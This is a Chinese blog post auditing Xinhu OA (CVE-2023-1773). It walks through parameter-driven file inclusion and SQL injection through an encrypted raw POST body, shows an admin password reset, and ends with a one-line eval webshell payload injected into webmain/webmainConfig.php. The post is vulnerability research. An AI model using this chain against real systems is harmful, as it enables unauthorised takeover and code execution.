记一次CMS代码审计

CVE-2023-1773

产品:信呼oa

影响版本:<=2.32

开源地址:https://github.com/rainrocka/xinhu/commits/master/

该博客为本人第一篇代码审计相关文章,本人才疏学浅,博客乃用于记录个人所学,因此许多地方会较为赘述,细节,这些都是个人的收获,如觉繁琐请见谅

根据官网说明先搭建好框架环境:

在分析漏洞点所在之前,我们需要对框架的功能有一个了解,什么参数是起到什么作用,哪些变量我们可以控制哪些不行,着重观察GET或者POST值处

index.php

主程序入口在index.php,先对其进行审计

代码不多,包含了个config.php是存放框架的各种配置。留意$d,$m,$a三个变量。有个函数$rock->get(),get()方法是什么?

跟进$rock,$rock = new rockClass();,那就看看get()在rockClass()类中是怎样定义的:

代码也不多

1
2
3
4
5
6
7
8
9
10
11
public function get($name,$dev='', $lx=0)
{
$val=$dev;
//$val初始化
if(isset($_GET[$name]))$val=$_GET[$name];
//从GET参数中获取值传给$val,
if($this->isempt($val))$val=$dev;
//判断$val是否为“空”,isempty()条件下述提到,若为空,则让$val重新为初始值
return $this->jmuncode($val, $lx, $name);
//返回jmuncode()操作后的值,该函数用于对参数进行安全操作
}

isempt()方法,即若传入字符为空(各种意义的空)并且字符不为数字则返回true:

1
2
3
4
5
6
public function isempt($str)
{
$bool=false;
if( ($str==''||$str==NULL||empty($str)) && (!is_numeric($str)) )$bool=true;
return $bool;
}

jmuncode()代码暂且不赘述。总结get()方法的作用就是获取GET传参中的值,并做了一定的xss过滤等处理,其中对单引号进行了转义,去除空格

View.php

到这了,那么看看谁用了$d,$m,$a这仨变量,Find Usages,发现在View.php中调用了这三个变量

红色框为这三个变量赋初值(若未传入则为默认值)

重点在黄色框,如果$m中存在’|’字符,则将m变量以’|’为分割划分为两部分$m$_m

下面引入了$rock中自定义的一个格式化字符串函数strformat():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function strformat($str)
{
$len = func_num_args();
//这里可以收获了func_num_args()获取传入函数的参数数量
$arr = array();
for($i=1; $i<$len; $i++)$arr[] = func_get_arg($i);
//func_get_arg()配合func_num_args()打组合拳自定义函数传入参数的数量
//为什么从i=1开始?因为格式化字符串函数传入的第一个参数是含占位符的待格式化字符串
$s = $this->stringformat($str, $arr);
return $s;
}
......
......
public function stringformat($str, $arr=array())
{
$s = $str;
for($i=0; $i<count($arr); $i++){
$s=str_replace('?'.$i.'', $arr[$i], $s);
//一个简单的replace,占位符为'?'加上一个数字代表用后面第几个参数来填充该位置
}
return $s;
}

例如这个:include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));最终格式化后的字符串为:"ROOT_PATH/".$p."/".$p."Action.php",看起来试图包含住一个以Action.php结尾的文件,正巧刚刚翻目录的时候看到了一堆一堆的Action结尾的文件。那么ROOT_PATH,$p,这俩又是什么东东呢?

在config.php中对ROOT_PATH有定义:

1
define('ROOT_PATH',str_replace('\\','/',dirname(dirname(__FILE__))));   //系统跟目录路径

$p变量向上跟进,为PROJECT,PROJECT再向上跟进,定义了它为’webmain’目录,此时p如果没有收到GET传参的p就会默认为’webmain’

1
2
3
$p        = PROJECT;
......
if(!defined('PROJECT'))define('PROJECT', $rock->get('p', 'webmain'));

可以留意$ajaxbool变量,下面会用的$ajaxbool = $rock->get('ajaxbool', $ajaxbool);,总之不要放过任何一个调用get()方法的变量,都是可控的

控制文件被包含

这里有个一路径中的变量$actpath,被两个下文被包含住的变量$actfile以及$actfile1给拼接,弄明白是如何构造的:

用ROOT_PATH,$p,$d,$_m分别填充前面的一个格式化路径

$_m我们可以控制GET传入m参数时’|’字符两边的字符串来控制,$p和ROOT_PATH,$d在上面存在一个简单的处理,如果不是以’/‘结尾就给他加上’/‘

总结起来,假设我们的根目录是/var/www/html/,传入p=webmain&d=task&m=file|api

那么$actpath就是”/var/www/html/webmain/task/api”

紧接着下面的$actfile就是”/var/www/html/webmain/task/api/fileAction.php”,

也就是该文件被包含:

控制类和方法

其实actfile1我们并不能做到真正完全的可控,因为其最后的拼接是$_m.$_m,就意味着最后包含的php文件的前缀名必须与上级目录相同,具有一定的局限性,这里我们侧重观察actfile被包含后的操作(实际上actfile1被包含后也确实并没有进行更多的操作了),接下来的分析围绕着actfile,$classname变量由$a和”ClassAction”拼接起来,$a可控。,$actname变量由$a和”Action”拼接起来,$a可控。如果ajaxbool为true那么$actname由$a和”Ajax”拼接,$ajaxbool可控(前文提到控制GET传参)。然后new一个名为$classname的值的类,判断该对象中是否存在名为$actname的方法,如果存在,就执行并把结果echo出来

beforeAction()和afterAction()是父类Action类中的抽象方法

如果ajaxbool为false(默认)或者html,就进行模板渲染

至此,我们已经可以做到控制包含工作目录下的Action文件,并且控制执行其中的方法,接下来就是寻找一个Action文件中有可利用的类方法了

寻找可利用漏洞

/webmain/system/cog/conAction.php下:

cogClassAction::savecongAjax()方法中有一处文件写入,只要可以控制$adminnme就可以控制任意文件写入,在对oa系统本身功能的浏览后发现并不能直接在oa内部修改管理员的名字,思路就是寻找一个sql注入的点,

观察到其实有许多的action都存在sql注入的点,但是get()和post()方法获取参数时引入了黑名单检查直接将许多危险字符(串)过滤了。

注意到/webmain/task/api/reimplatAction.php下的indexAction()方法也存在sql注入点,但是该方法有点特殊:

$body直接调用getpostdata()方法从请求体中获取数据,然后经过一次解密后得到$bodystr,对$bodystr再json解码后,获取其中键值对进行sql操作,思考:我们怎么样操作使得加密后的字符串可控呢?

答:源代码就在自己手上直接调试就好了啊kora!把自己想构造的json发送出去,打印出加密后的字符串不就行了吗

追踪getpostdata()方法,可以看到是一点过滤都没有的。那我们就可以通过直接从请求体发送加密后的字符串从而避免经过get()和post()参数的过滤了!经过strunlook()方法解密后直接拼接到sql语句中

1
2
3
4
5
6
7
public function getpostdata()
{
$postdata = '';
if(isset($GLOBALS['HTTP_RAW_POST_DATA']))$postdata = $GLOBALS['HTTP_RAW_POST_DATA'];
if($postdata=='')$postdata = trim(file_get_contents('php://input'));
return $postdata;
}

跟踪下解密方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$bodystr = $this->jm->strunlook($body, $key);//reimplatAction.php
->
...
$this->jm = c('jm', true);//reimpaltAction.php,那c是啥?跟踪c()方法
->
...
function c($name, $inbo=true, $param1='', $param2='')
{
$class = ''.$name.'Chajian';
$path = ''.ROOT_PATH.'/include/chajian/'.$class.'.php';
$cls = NULL;
if(file_exists($path)){
include_once($path);
if($inbo)$cls = new $class($param1, $param2);
}
return $cls;
}//rockFun.php,分析代码后发现c()方法是包含/include/chajian/下对应参数名的插件php文件,此处对应追踪到jmChajian.php
->
...

找到了strlook()和strunlook()方法

在本地调试时将加密后的字符串打印出来:

经测试没问题,那么我们就可以根据自己的需求,构造恶意json了

回到reimplatAction.php,分析可利用点:

json有这几个键值对:

1
{"msgtype":"","msgevent":"","user":"","mobile":"",}

根据msgtype的构造值不同,可以进行不同的操作,至此,在不需要sql注入漏洞的情况下已经可以修改管理员密码了

发送加密后字符串:

使用新密码666直接登陆后台:

当然我们不止步于此,能sql注入的地方,为什么要放过他们呢?

这里出现了多个m()方法,是什么?跟进去看下

分析一波可以知道是把/webmain/model/下的php文件包含起来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function m($name)
{
$cls = NULL;
$pats = $nac = '';
$nas = $name;
$asq = explode(':', $nas);
if(count($asq)>1){
$nas = $asq[1];
$nac = $asq[0];
$pats = $nac.'/';
$_pats = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$nac.'/'.$nac.'.php';
if(file_exists($_pats)){
include_once($_pats);
$class = ''.$nac.'Model';
$cls = new $class($nas);
}
}
$class = ''.$nas.'ClassModel';
$path = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$pats.''.$nas.'Model.php';
if(file_exists($path)){
include_once($path);
if($nac!='')$class= $nac.'_'.$class;
$cls = new $class($nas);
}
if($cls==NULL)$cls = new sModel($nas);
return $cls;
}

追踪到底层其实是调用/include/class/mysql.php里的数据库操作函数:

getmou()获取table(此处table由m的构造函数传参决定,传入admin就对xinhu_admin表进行操作)中$where处的$fields的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function getmou($table,$fields,$where,$order='')
{
$sql = $this->getsql(array(
'table' => $table,
'where' => $where,
'fields'=> $fields,
'order' => $order
));
$res=$this->query($sql);
if($res){
$row = $this->fetch_array($res, 1);
if($row){
$this->count = 1;
return $row[0];
}
}
return false;
}

update()更新table(同getmou()中指定方式相同)表中$where处$array的值,没有则新增

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function record($table,$array,$where='')
{
$addbool = true;
if(!$this->isempt($where))$addbool=false;
$cont = '';
if(is_array($array)){
foreach($array as $key=>$val){
$cont.=",`$key`=".$this->toaddval($val)."";
}
$cont = substr($cont,1);
}else{
$cont = $array;
}
if($addbool){
$sql="insert into `$table` set $cont";
}else{
$where = $this->getwhere($where);
$sql="update `$table` set $cont where $where";
}
return $this->tranbegin($sql);
}

至此我们回到上面的cogClassAction.php,我们可以通过sql注入更新管理员的名字,思考如何构造?

要执行我们自己插入的rce代码,首先要脱离注释符,那就需要一个”\n”,然后插入完想执行的的php代码后,再用注释符注释掉后面多余的代码。

eg:

1
\nphpinfo();//

然后写入webmain/webmainConfig.php:

此处会被修改

editmobile处比较好操作,editpass也可注入,构造恶意json

传入加密字符串:

admin的名字已经发生变化了:

这时候需要重新登陆一下让session重置,$adminname才会重置:

这时候包含一下cogAction.php:

配置文件变成这样了:

后续测试中发现此处利用点似乎并无法导致getshell,当插入代码如下时:

重新登陆会提示,还是有比较大局限性的:

后记:\neval($_POST[1]);//就不会太长了。还是可以getshell的,有了eval之后可执行的代码就大大拓宽了

蚁剑连接:

作者

Potat0w0

发布于

2023-12-23

更新于

2024-01-19

许可协议


评论